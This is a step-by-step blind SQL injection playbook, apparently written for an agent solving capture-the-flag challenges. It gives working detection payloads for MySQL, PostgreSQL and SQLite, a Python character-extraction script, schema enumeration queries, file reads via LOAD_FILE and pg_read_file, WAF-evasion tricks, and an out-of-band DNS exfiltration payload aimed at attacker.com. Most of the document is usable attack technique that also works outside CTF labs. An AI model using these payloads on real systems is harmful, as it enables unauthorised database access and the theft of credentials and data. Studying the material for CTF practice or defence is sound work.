# Blind SQL Injection Strategy

## Phase 1: Detection (budget: 15%)
1. Identify all input points: URL params, POST body fields, cookies, headers
2. For each param, test boolean-based detection:
   - `param=1' AND 1=1--` vs `param=1' AND 1=2--` — compare response length/content
   - `param=1 AND 1=1` vs `param=1 AND 1=2` — numeric injection without quotes
3. Test time-based if boolean fails:
   - MySQL: `param=1' AND SLEEP(3)--`
   - PostgreSQL: `param=1'; SELECT pg_sleep(3)--`
   - SQLite: `param=1' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))--`
4. Check error messages for DB fingerprint (MySQL syntax errors vs PostgreSQL vs SQLite)

**Decision point:** If no injection found after testing all params → pivot to other attack vectors (check for SSTI, LFI, IDOR). If injection confirmed → proceed to Phase 2.

## Phase 2: Database Fingerprint (budget: 5%)
1. Determine DB type if not already known from docker analysis:
   - MySQL: `SELECT @@version`, `SLEEP()` works
   - PostgreSQL: `SELECT version()`, `pg_sleep()` works
   - SQLite: `SELECT sqlite_version()`, no sleep function
2. Identify injection context: WHERE clause, INSERT, UPDATE, ORDER BY

## Phase 3: Data Extraction (budget: 60%)
Write a Python script for automated extraction. Do NOT do this manually with curl — it's too slow.

```python
import requests
import string

# Boolean-based extraction template
def extract_char(url, payload_template, position):
    for c in string.printable:
        payload = payload_template.format(pos=position, char=ord(c))
        r = requests.get(url, params={'vuln_param': payload})
        if 'true_indicator' in r.text:  # Adapt to actual true condition
            return c
    return None
```

Extraction order:
1. Database names: `SELECT schema_name FROM information_schema.schemata`
2. Table names: `SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'`
3. Column names: `SELECT column_name FROM information_schema.columns WHERE table_name='target_table'`
4. Flag data: `SELECT flag_column FROM target_table`

For time-based: use `time.time()` around requests, threshold at 2+ seconds.

**Decision point:** If extraction is too slow (>30 chars/min for time-based) → try UNION-based injection. If data found but no flag → check other tables, look for admin credentials.

## Phase 4: Flag Extraction (budget: 20%)
1. Search all tables for columns containing 'flag', 'secret', 'key', 'token'
2. Check common locations: `users` table (admin password), `secrets` table, `flags` table
3. If flag is in a file: use `LOAD_FILE('/flag')` (MySQL) or `pg_read_file('/flag')` (PostgreSQL)
4. If credentials found: try logging in as admin — flag may be on admin dashboard

## Pivot Triggers
- No SQL injection after testing all params → try SSTI, command injection, IDOR
- Injection found but WAF blocking → try encoding (double URL, hex, char()), use BETWEEN instead of comparison operators
- Extraction failing → try out-of-band: DNS exfil via `LOAD_FILE(CONCAT('\\\\',data,'.attacker.com\\a'))` (MySQL)
